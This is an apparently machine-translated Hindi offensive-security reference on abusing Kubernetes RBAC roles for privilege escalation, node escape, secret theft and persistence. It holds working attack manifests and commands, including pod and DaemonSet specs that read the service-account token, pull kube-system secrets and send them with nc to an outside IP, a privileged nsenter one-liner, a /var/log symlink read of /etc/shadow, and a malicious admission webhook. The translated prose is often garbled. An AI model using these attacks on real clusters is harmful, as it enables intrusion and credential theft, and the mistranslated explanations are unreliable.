Abusing Roles/ClusterRoles in Kubernetes

हैकट्रिक्स का समर्थन करें

यहाँ आप कुछ संभावित खतरनाक भूमिका और क्लस्टर भूमिकाएँ कॉन्फ़िगरेशन पा सकते हैं। ध्यान रखें कि आप kubectl api-resources के साथ सभी समर्थित संसाधन प्राप्त कर सकते हैं।

विशेषाधिकार उन्नयन

कुबरनेटीस में पहुंच प्राप्त करने की कला के रूप में संदर्भित होना एक विभिन्न प्रिंसिपल तक पहुंच प्राप्त करने की (कुबरनेटीस क्लस्टर के भीतर या बाहरी बादलों तक) जिसके पास आपके पास पहले से होने वाले से विभिन्न विशेषाधिकार होते हैं, कुबरनेटीस में मूल रूप से 4 मुख्य तकनीक हैं जिनका उपयोग विशेषाधिकारों को उन्नत करने के लिए:

  • अन्य उपयोगकर्ता/समूह/SAs का अनुकरण करने में सक्षम होना जिनके पास कुबरनेटीस क्लस्टर के भीतर या बाहरी बादलों में बेहतर विशेषाधिकार हों

  • वहाँ पॉड बनाना/पैच/एक्जीक्यूट करने में सक्षम होना जहाँ आप बेहतर विशेषाधिकार वाले एसए खोज सकते हैं या जोड़ सकते हैं कुबरनेटीस क्लस्टर के भीतर या बाहरी बादलों में

  • सीक्रेट्स पढ़ने में सक्षम होना क्योंकि एसए टोकन सीक्रेट्स के रूप में स्टोर किए जाते हैं

  • नोड से बाहर निकलने में सक्षम होना, जहाँ आप नोड में चल रहे पोड के सभी सीक्रेट्स, नोड के क्रेडेंशियल्स, और नोड की अनुमतियों को चुरा सकते हैं जिसके भीतर वह बादल चल रहा है (यदि कोई हो)

  • एक पांचवीं तकनीक जिसे उल्लेख करने की योग्यता है, वह है पॉड में पोर्ट-फॉरवर्ड चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुंच सकते हैं।

किसी भी संसाधन या क्रिया तक पहुंच (वाइल्डकार्ड)

वाइल्डकार्ड (*) किसी भी संसाधन पर किसी भी क्रिया की अनुमति देता है। यह व्यवस्थापकों द्वारा उपयोग किया जाता है। एक क्लस्टर भूमिका के भीतर इसका अर्थ है कि एक हमलावर किसी भी नेमस्पेस का दुरुपयोग कर सकता है।

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

विशेष क्रिया के साथ किसी भी संसाधन तक पहुंचें

RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम रखती हैं:

  1. create: किसी भी क्लस्टर संसाधन बनाने की क्षमता प्रदान करती है, प्रिविलेज उन्नति का खतरा होता है।

  2. list: सभी संसाधनों की सूची बनाने की अनुमति देती है, संभावित गोपनीय डेटा लीक हो सकता है।

  3. get: सेवा खातों से रहस्यों तक पहुंचने की अनुमति देती है, एक सुरक्षा खतरा पैदा करती है।

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

पॉड बनाएं - टोकन चुराएं

जो एक हमलावर है जिसके पास पॉड बनाने की अनुमति है, वह पॉड में एक विशेषाधिकारी सेवा खाता जोड़ सकता है और टोकन चुरा सकता है ताकि सेवा खाता का अनुकरण कर सके। इसे उसकी विशेषाधिकारों को उन्हें उच्च करने के रूप में कार्यान्वित करना

bootstrap-signer सेवा खाते का टोकन चुराने और उसे हमलावर को भेजने वाले पॉड का उदाहरण:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

पॉड बनाएं और बाहर निकलें

निम्नलिखित सभी विशेषाधिकार दिखाते हैं जिन्हें एक कंटेनर को हो सकते हैं:

  • विशेषाधिकार पहुंच (सुरक्षा को अक्षम करना और क्षमताएँ सेट करना)

  • नामस्थान hostIPC और hostPid को अक्षम करें जो विशेषाधिकारों को बढ़ाने में मदद कर सकता है

  • hostNetwork का नामस्थान अक्षम करें, जिससे नोड्स क्लाउड विशेषाधिकारों को चुराने और नेटवर्क्स तक बेहतर पहुंच प्राप्त हो सके

  • कंटेनर के अंदर माउंट होस्ट /

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

पॉड बनाएं:

kubectl --token $token create -f mount_root.yaml

इस ट्वीट से एक-लाइनर और कुछ जोड़ों के साथ:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

अब जब आप नोड से बचने के लिए पोस्ट-एक्सप्लोइटेशन तकनीकों में भाग ले सकते हैं:

छल

शायद आप छलांग मारना चाहेंगे, निम्नलिखित पृष्ठों में आप देख सकते हैं कि आप किसे तक पहुंच सकते हैं अगर आप एक पॉड बनाते हैं जिसमें पिछले टेम्पलेट में उल्लिखित विशेषाधिकारों में से कुछ को सक्षम करते हैं:

  • विशेषाधिकृत + hostPID

  • केवल विशेषाधिकृत

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

आप यहां देख सकते हैं कि पिछले विशेषाधिकृत पॉड कॉन्फ़िगरेशन को कैसे बनाया/दुरुपयोग किया जा सकता है https://github.com/BishopFox/badPods

पॉड बनाएं - क्लाउड में जाएं

यदि आप एक पॉड बना सकते हैं (और वैकल्पिक रूप से एक सेवा खाता) तो आप बादल परिवेश में विशेषाधिकार प्राप्त कर सकते हैं जिसे पॉड या सेवा खाता को बादल भूमिकाओं को सौंपना और फिर उसे एक्सेस करना संभव हो सकता है। इसके अतिरिक्त, यदि आप होस्ट नेटवर्क नेमस्पेस के साथ पॉड बना सकते हैं तो आप नोड इंस्टेंस की IAM भूमिका चुरा सकते हैं।

अधिक जानकारी के लिए देखें:

Pod Escape Privileges

डिप्लॉयमेंट, डेमनसेट, स्टेटफुलसेट, रिप्लिकेशनकंट्रोलर्स, रेप्लिकासेट्स, जॉब्स और क्रॉनजॉब्स बनाएं/पैच करें

इन अनुमतियों का दुरुपयोग करके एक नया पॉड बनाना संभव है और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना।

निम्नलिखित yaml एक डेमनसेट बनाता है और पॉड के अंदर SA का टोकन निकालता है:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

पॉड्स Exec

pods/exec एक संसाधन है कुबरनेटीज़ में जिसका उपयोग पॉड के अंदर शैल में कमांड चलाने के लिए किया जाता है। इसकी मदद से कंटेनर्स के अंदर कमांड चला सकते हैं या एक शैल में प्रवेश प्राप्त कर सकते हैं

इसलिए, एक पॉड में प्रवेश करके SA का टोकन चुरा सकते हैं, या एक विशेषाधिकृत पॉड में प्रवेश करके, नोड पर भागने और नोड में पॉड्स के सभी टोकन चुरा सकते हैं और नोड का (अपशिष्ट) उपयोग कर सकते हैं:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

पोर्ट-फॉरवर्ड

यह अनुमति एक स्पष्ट पॉड में एक स्थानीय पोर्ट को एक पोर्ट पर फॉरवर्ड करने की अनुमति देती है। इसका मकसद पोड के अंदर चल रहे एप्लिकेशन को आसानी से डीबग करने के लिए है, लेकिन एक हमलावर इसे दिलचस्प (जैसे डीबीजी) या वंशवादी एप्लिकेशन (वेब?) तक पहुंचने के लिए दुरुपयोग कर सकता है:

kubectl port-forward pod/mypod 5000:5000

होस्ट लिखने योग्य /var/log/ एस्केप

जैसा कि इस शोध में इंगित किया गया है, अगर आप होस्ट /var/log/ निर्देशित पर पहुंच सकते हैं या एक पॉड बना सकते हैं जिसमें यह माउंट किया गया है, तो आप कंटेनर से बाहर निकल सकते हैं। यह मुख्य रूप से इसलिए है क्योंकि Kube-API जब कंटेनर की लॉग्स को प्राप्त करने का प्रयास करता है ( kubectl logs <pod> का उपयोग करके), तो यह Kubelet सेवा के /logs/ अंतर्निहित करने के लिए पॉड के 0.log फ़ाइल का अनुरोध करता है। Kubelet सेवा /logs/ अंतर्निहित करती है जो केवल मुख्य रूप से कंटेनर के /var/log फ़ाइल सिस्टम को अंतर्निहित करने के लिए है

इसलिए, एक हमलावर कंटेनर के /var/log/ फ़ोल्डर में लिखने के लिए पहुंच के साथ इस व्यवहार का दुरुपयोग कर सकता है 2 तरीकों से:

  • अपने कंटेनर की 0.log फ़ाइल को संशोधित करना (आम तौर पर /var/logs/pods/namespace_pod_uid/container/0.log में स्थित) ताकि यह /etc/shadow की ओर संकेत करने वाला एक सिमलिंक हो जाए। फिर, आप इसे करके होस्ट शैडो फ़ाइल को बाहर निकाल सकेंगे:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • यदि हमलावार किसी भी मुख्य सदस्य को नियंत्रित करता है जिसके पास nodes/log को पढ़ने की अनुमति है, तो वह बस /host-mounted/var/log/sym में / के लिए सिमलिंक बना सकता है और जब https://<गेटवे>:10250/logs/sym/ तक पहुंचता है तो वह मेजबान की रूट फ़ाइल सिस्टम की सूची देगा (सिमलिंक बदलने से फ़ाइलों तक पहुंच प्रदान की जा सकती है)।

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

एक प्रयोगशाला और स्वचालित शिकार https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

readOnly सुरक्षा को छलकरना

यदि आप भाग्यशाली हैं और उच्च विशेषाधिकारी क्षमता CAP_SYS_ADMIN उपलब्ध है, तो आप बस फ़ोल्डर को rw के रूप में फिर से माउंट कर सकते हैं:

mount -o rw,remount /hostlogs/

होस्टपथ readOnly सुरक्षा को उमकारना

जैसा कि इस शोध में उल्लेख किया गया है, सुरक्षा को उमकारना संभव है:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

जो पिछले वालों की तरह बचने के लिए था, उसके बजाय एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके hosts फ़ोल्डर को कंटेनर में माउंट करने के लिए लिखने योग्य एक्सेस के साथ:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

विशेषाधिकार वाले खातों का अनुकरण

उपयोगकर्ता अनुकरण विशेषाधिकार के साथ, एक हमलावर एक विशेषाधिकार वाले खाते का अनुकरण कर सकता है।

केवल kubectl कमांड में पैरामीटर --as=<username> का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या --as-group=<group> का उपयोग करें एक समूह का अनुकरण करने के लिए:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

या REST API का उपयोग करें:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

सीक्रेट्स की सूचीबद्धि

सीक्रेट्स की सूची बनाने की अनुमति एक हमलावर को वास्तव में सीक्रेट्स को पढ़ने की अनुमति दे सकती है REST API एंडपॉइंट तक पहुंचने के लिए:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

एक गुप्त सीक्रेट पढ़ना - टोकन आईडी को ब्रूट-फोर्सिंग करना

जब एक हमलावर एक टोकन के साथ पढ़ने की अनुमति के साथ संपत्ति में होता है, तो उसे इसका उपयोग करने के लिए सीक्रेट का सटीक नाम चाहिए होता है, जो अधिक व्यापक सीक्रेट्स की सूची विशेषाधिकार की तरह नहीं है, फिर भी कमियाँ हैं। सिस्टम में डिफ़ॉल्ट सेवा खाते गणना की जा सकती है, प्रत्येक एक सीक्रेट से संबंधित। इन सीक्रेट्स का नाम संरचना है: एक स्थिर प्रीफ़िक्स जिसके बाद एक यादृच्छिक पांच-वर्णीय अल्फान्यूमेरिक टोकन है (निश्चित वर्णों को छोड़कर) स्रोत कोड के अनुसार।

टोकन एक सीमित 27-वर्णीय सेट (bcdfghjklmnpqrstvwxz2456789) से उत्पन्न होता है, पूर्ण अल्फान्यूमेरिक सीमा की बजाय। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम करती है। इस परिमाण के कारण, एक हमलावर संभावना से कुछ घंटों में टोकन का अनुमान लगाने के लिए ब्रूट-फोर्स हमला कर सकता है, जिससे संवेदनशील सेवा खातों तक पहुंचकर विशेषाधिकार उन्नति हो सकती है।

सर्टिफिकेट साइनिंग अनुरोध

यदि आपके पास संसाधन certificatesigningrequests में create क्रियाएँ हैं (या कम से कम certificatesigningrequests/nodeClient में हैं)। तो आप एक नए नोड का नया CeSR बना सकते हैं

दस्तावेज़ीकरण के अनुसार इन अनुरोधों को स्वचालित रूप से मंजूर किया जा सकता है, इसलिए उस मामले में आपको अतिरिक्त अनुमतियाँ की आवश्यकता नहीं है। अगर नहीं, तो आपको अनुरोध को मंजूर करने की क्षमता होनी चाहिए, जिसका मतलब है certificatesigningrequests/approval में अपडेट और signers में approve करना <signerNameDomain>/<signerNamePath> या <signerNameDomain>/*

सभी आवश्यक अनुमतियों के साथ एक उदाहरण भूमिका है:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

So, नए नोड CSR को मंजूरी मिलने के साथ, आप नोड की विशेष अनुमतियों का दुरुपयोग कर सकते हैं ताकि रहस्य चुराएं और वर्चस्व उन्नति करें।

इस पोस्ट में और इसमें GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को स्वचालित साइनिंग के साथ कॉन्फ़िगर किया गया है और इसका दुरुपयोग करके एक नए K8s नोड क्रेडेंशियल उत्पन्न किए जाते हैं और फिर उनका दुरुपयोग करके रहस्य चुराकर वर्चस्व उन्नति की जाती है। अगर आपके पास उल्लिखित अनुमतियाँ हैं तो आप एक ही चीज कर सकते हैं। ध्यान दें कि पहला उदाहरण एक नए नोड को आवश्यकता होने पर भी कंटेनर के अंदर रहस्यों तक पहुंचने से रोकने वाली त्रुटि को अनदेखा करता है क्योंकि एक नोड केवल उस पर माउंट किए गए कंटेनरों के रहस्यों तक पहुंच सकता है।

इसे अनदेखा करने का तरीका बस यह है कि जिस नोड नाम के लिए आपके पास दिलचस्प रहस्यों के कंटेनर माउंट किए गए हैं, उसके लिए नोड क्रेडेंशियल बनाएं (लेकिन बस पहली पोस्ट में इसे कैसे करना है यह जांचें):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

वे मुख्याधिकारी जो EKS (AWS में होना चाहिए) क्लस्टर्स पर kube-system नेमस्पेस में configmaps को संशोधित कर सकते हैं, वे aws-auth configmap को अधिकारी प्रभाव प्राप्त कर सकते हैं। आवश्यक क्रियाएँ हैं update और patch, या create अगर configmap नहीं बनाया गया था:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

आप aws-auth का उपयोग स्थिरता के लिए कर सकते हैं जिससे अन्य खातों से उपयोगकर्ताओं को पहुंच मिले।

हालांकि, aws --profile other_account eks update-kubeconfig --name <cluster-name> एक विभिन्न खाते से काम नहीं करता है। लेकिन वास्तव में aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing काम करता है अगर आप क्लस्टर के ARN को नाम के सिवाय डालते हैं। kubectl को काम करने के लिए, बस सुनिश्चित करें कि पीड़ित kubeconfig को कॉन्फ़िगर किया गया है और aws exec args में --profile other_account_role जोड़ें ताकि kubectl टोकन प्राप्त करने और AWS से संपर्क स्थापित करने के लिए दूसरे खाते का प्रोफ़ाइल उपयोग करें।

GKE में उन्नति

GCP प्रिंसिपल्स को K8s अनुमतियाँ देने के 2 तरीके हैं। किसी भी स्थिति में प्रिंसिपल को भी container.clusters.get अनुमति की आवश्यकता होती है ताकि वह क्लस्टर तक पहुंचने के लिए प्रमाण प्राप्त कर सके, या तो आपको अपना खुद का kubectl कॉन्फ़िग फ़ाइल उत्पन्न करने की आवश्यकता होगी (अगले लिंक का पालन करें)।

K8s एपीआई अंतरफलक के साथ बातचीत करते समय, GCP ऑथ टोकन भेजा जाएगा। फिर, GCP, K8s एपीआई अंतरफलक के माध्यम से पहले जांचेगा कि प्रिंसिपल (ईमेल द्वारा) क्लस्टर के अंदर कोई पहुंच है या नहीं, फिर यह जांचेगा कि यह GCP IAM के माध्यम से कोई पहुंच है या नहीं। यदि इनमें से कोई भी सच है, तो उसे प्रतिसाद दिया जाएगा। यदि नहीं, तो एक त्रुटि दी जाएगी जिसमें GCP IAM के माध्यम से अनुमतियाँ देने का सुझाव दिया जाएगा।

फिर, पहला तरीका GCP IAM का उपयोग करना है, K8s अनुमतियों के पास उनकी समकक्ष GCP IAM अनुमतियाँ हैं, और यदि प्रिंसिपल के पास यह है, तो उसे उसका उपयोग करने की अनुमति होगी।

GCP - Container Privesc

दूसरा तरीका है क्लस्टर के अंदर K8s अनुमतियाँ निर्धारित करना उपयोगकर्ता को उसके ईमेल (GCP सेवा खाते शामिल) द्वारा पहचानना।

सेवा खातों टोकन बनाएं

जो प्रिंसिपल TokenRequests बना सकते हैं (serviceaccounts/token) K8s एपीआई अंतरफलक से SAs (यहाँ से जानकारी यहाँ)।

ephemeralcontainers

जो प्रिंसिपल pods/ephemeralcontainers पर update या patch कर सकते हैं, वे अन्य पॉड्स पर कोड निष्पादन कर सकते हैं, और संभावित रूप से उनके नोड से बाहर निकल सकते हैं एक विशेषाधिकार सुरक्षा संदर्भ जोड़कर एक अस्थायी कंटेनर जोड़कर।

ValidatingWebhookConfigurations या MutatingWebhookConfigurations

जो प्रिंसिपल validatingwebhookconfigurations या mutatingwebhookconfigurations पर create, update या patch वर्ब रखते हैं, वे एक ऐसा webhookconfigurations बना सकते हैं जिससे विशेषाधिकारों को उन्नत किया जा सकता है

एक mutatingwebhookconfigurations उदाहरण के लिए इस पोस्ट के इस खंड की जाँच करें

उन्नति

जैसा कि आप अगले खंड में पढ़ सकते हैं: अंदर निर्मित विशेषाधिकार उन्नति निवारण, एक प्रिंसिपल केवल उस नई अनुमतियों के साथ न तो रोल या क्लस्टर रोल बना सकता है और न ही उन्हें अपडेट कर सकता है बिना उन नई अनुमतियों के। केवल अगर उसके पास escalate वर्ब है roles या clusterroles पर। फिर वह नए रोल, क्लस्टर रोल उपडेट/नए रोल बना सकता है जिनमें उसके पास से अधिक अनुमतियाँ होती हैं।

नोड्स प्रॉक्सी

nodes/proxy उपस्रोत का उपयोग करने वाले प्रिंसिपल्स पॉड्स पर कोड निष्पादित कर सकते हैं क्यूबलेट एपीआई के माध्यम से (इसके अनुसार यहाँ)। इस पृष्ठ में क्यूबलेट प्रमाणीकरण के बारे में अधिक जानकारी:

Kubelet Authentication & Authorization

आपको यहाँ एक Kubelet एपीआई से अधिकृत बोलने में RCE प्राप्त करने का उदाहरण है

पॉड्स हटाएं + अनुसूचित नोड्स

जो प्रिंसिपल पॉड्स को हटा सकते हैं (pods संसाधन पर delete वर्ब), या पॉड्स को निकाल सकते हैं (pods/eviction संसाधन पर create वर्ब), या पॉड स्थिति बदल सकते हैं (pods/status तक पहुंच) और अन्य नोड्स अनुसूचित बना सकते हैं (nodes/status तक पहुंच) या नोड्स को हटा सकते हैं (nodes संसाधन पर delete वर्ब) और किसी पॉड पर नियंत्रण हो, वे अन्य नोड्स से पॉड्स चुरा सकते हैं ताकि वे कंप्रोमाइज़्ड नोड में चलाए जा सकें और हमलावर पॉड्स से टोकन चुरा सकते हैं

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

सेवाओं की स्थिति (CVE-2020-8554)

वे मुख्य सिद्धांत जो services/status को संशोधित कर सकते हैं, वे status.loadBalancer.ingress.ip फ़ील्ड को सेट कर सकते हैं ताकि असुधारित CVE-2020-8554 का शोषण करें और MiTM हमले को क्लस्टर के खिलाफ चालू करें। CVE-2020-8554 के लिए अधिकांश सुरक्षा कदम केवल बाह्य आईपी सेवाओं को रोकते हैं (के अनुसार यह)।

नोड्स और पॉड्स की स्थिति

nodes/status या pods/status पर update या patch अनुमतियों वाले मुख्य सिद्धांत, लेबलों को संचालन बाधाएँ प्रभावित करने के लिए संशोधित कर सकते हैं।

निर्मित विशेषाधिकार उन्नति रोकथाम

कुबरनेटीज़ में निर्मित तंत्र है जो विशेषाधिकार उन्नति को रोकने के लिए है।

यह सिस्टम सुनिश्चित करता है कि उपयोगकर्ता अपने विशेषाधिकारों को संशोधित करके अपने विशेषाधिकारों को उन्नत करने में सक्षम नहीं हो सकते। इस नियम का पालन API स्तर पर होता है, RBAC अथॉराइज़र निष्क्रिय होने पर भी एक सुरक्षा प्रदान करता है।

नियम यह निर्धारित करता है कि एक उपयोगकर्ता केवल तब एक भूमिका बना सकता है या उसे अपडेट कर सकता है अगर उसके पास उस भूमिका में शामिल सभी अनुमतियाँ हैं। इसके अतिरिक्त, उपयोगकर्ता की मौजूदा अनुमतियों का विस्तार उस भूमिका के साथ मेल खाता होना चाहिए जिसे वह बनाने या संशोधित करने का प्रयास कर रहा है: या तो क्लस्टर-व्यापी ClusterRoles के लिए या नामस्थान (या क्लस्टर-व्यापी) के लिए बंधी होनी चाहिए Roles के लिए।

पिछले नियम के लिए एक अपवाद है। यदि किसी मुख्य सिद्धांत के पास क्रिया escalate है roles या clusterroles पर, तो वह अपने अनुमतियों के बिना भी भूमिकाओं और क्लस्टर भूमिकाओं की विशेषाधिकारों को बढ़ा सकता है।

RoleBindings/ClusterRoleBindings प्राप्त और पैच करें

शायद यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब काम नहीं कर रही है क्योंकि पिछले खंड में स्पष्ट कारण के अनुसार। यदि आपके पास पहले से कोई अनुमतियाँ नहीं हैं तो आप खुद को या एक विभिन्न SA को कुछ विशेषाधिकार देने के लिए एक रोलबाइंडिंग नहीं बना सकते।

रोलबाइंडिंग बनाने की अनुमति एक उपयोगकर्ता को सेवा खाते को बाधित करने के लिए भूमिकाएँ बाँधने की अनुमति देती है। यह विशेषाधिकार उन्नति की ओर ले जा सकती है क्योंकि यह उपयोगकर्ता को एक प्रभावित सेवा खाते को एडमिन विशेषाधिकार बाँधने की अनुमति देती है।

अन्य हमले

साइडकार प्रॉक्सी ऐप

डिफ़ॉल्ट रूप से पॉड्स के बीच संचार में कोई एन्क्रिप्शन नहीं है। सामंजस्य, दो-तरफा, पॉड से पॉड तक।

एक साइडकार प्रॉक्सी ऐप बनाएं

अपना .yaml बनाएं

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

अपने .yaml फ़ाइल में जाएं और अनकमेंट लाइनों को जोड़ें:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

विद्वेषक की लॉग देखें:

kubectl logs app -C proxy

अधिक जानकारी पर: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

हानिकारक प्रवेश नियंत्रक

एक प्रवेश नियंत्रक कुबरनेटीज API सर्वर के लिए अनुरोधों को रोकता है जब वस्तु को स्थायी बनाया जाता है, लेकिन अनुरोध प्रमाणित होने के बाद और अधिकृत होने के बाद

यदि कोई हमलावर किसी प्रकार से एक म्यूटेशन एडमिशन नियंत्रक को इंजेक्ट करने में कामयाब होता है, तो उसे पहले से प्रमाणित अनुरोधों को संशोधित करने की क्षमता होगी। प्राय: प्राइवेस्क करने और अधिक आम रूप से क्लस्टर में स्थायी रहने की क्षमता होगी।

उदाहरण https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

जांचें कि क्या स्थिति तैयार है:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
mutating-webhook-status-check.PNG

फिर एक नया पॉड डिप्लॉय करें:

kubectl run nginx --image nginx
kubectl get po -w

जब आप ErrImagePull त्रुटि देख सकते हैं, तो इमेज नाम की जांच करें किसी भी अनुरोध के साथ:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
malicious-admission-controller.PNG

जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने छवि nginx को चलाने की कोशिश की लेकिन अंतिम रूप से चलाई गई छवि rewanthtammana/malicious-image है। क्या हो गया!!

तकनीकी विवरण

./deploy.sh स्क्रिप्ट एक mutating webhook admission controller स्थापित करता है, जो इसके कॉन्फ़िगरेशन लाइन में निर्दिष्ट किए गए रिक्वेस्ट को संशोधित करता है, परिणामों पर प्रभाव डालता है जो देखे गए हैं:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

OPA Gatekeeper बायपास

Kubernetes - OPA Gatekeeper bypass

